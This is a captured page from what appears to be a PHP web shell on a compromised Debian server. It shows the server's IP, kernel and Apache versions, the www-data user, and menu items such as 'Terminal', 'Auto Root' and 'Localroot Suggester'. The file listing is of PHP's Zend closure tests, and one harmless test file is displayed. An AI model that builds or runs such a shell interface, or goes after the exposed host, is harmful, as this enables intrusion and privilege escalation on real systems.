Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.119
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
src /
php-7.4.33 /
Zend /
tests /
closures /
Delete
Unzip
Name
Size
Permission
Date
Action
bug80929.phpt
1.1
KB
-rw-rw-r--
2022-10-31 11:36
closure_from_callable.inc
3.09
KB
-rw-rw-r--
2022-10-31 11:36
closure_from_callable_basic.phpt
3.99
KB
-rw-rw-r--
2022-10-31 11:36
closure_from_callable_error.phpt
6.36
KB
-rw-rw-r--
2022-10-31 11:36
closure_from_callable_lsb.phpt
326
B
-rw-rw-r--
2022-10-31 11:36
closure_from_callable_non_static_statically.phpt
403
B
-rw-rw-r--
2022-10-31 11:36
closure_from_callable_rebinding.phpt
330
B
-rw-rw-r--
2022-10-31 11:36
closure_from_callable_reflection.phpt
743
B
-rw-rw-r--
2022-10-31 11:36
closure_instantiate.phpt
590
B
-rw-rw-r--
2022-10-31 11:36
Save
Rename
--TEST-- Bug #80929: Method name corruption related to zend_closure_call_magic --FILE-- <?php class DefaultListener { public function handleDefaultEvent($event) { } } class SubscriberProxy { private array $subscribedEvents; private object $subscriber; private Closure $listener; public function __construct(array $subscribedEvents, object $subscriber) { $this->subscribedEvents = $subscribedEvents; $this->subscriber = $subscriber; foreach ($this->subscribedEvents as $eventName => $params) { $this->listener = Closure::fromCallable([$this, $params]); } } public function __call(string $name, array $arguments) { return $this->subscriber->$name(...$arguments); } public function dispatch($event, string $eventName) { ($this->listener)($event, $eventName, null); } } $proxy = new SubscriberProxy( ['defaultEvent' => 'handleDefaultEvent'], new DefaultListener() ); for ($i = 0; $i < 10; $i++) { echo $i . PHP_EOL; $proxy->dispatch(null, 'defaultEvent'); } ?> --EXPECT-- 0 1 2 3 4 5 6 7 8 9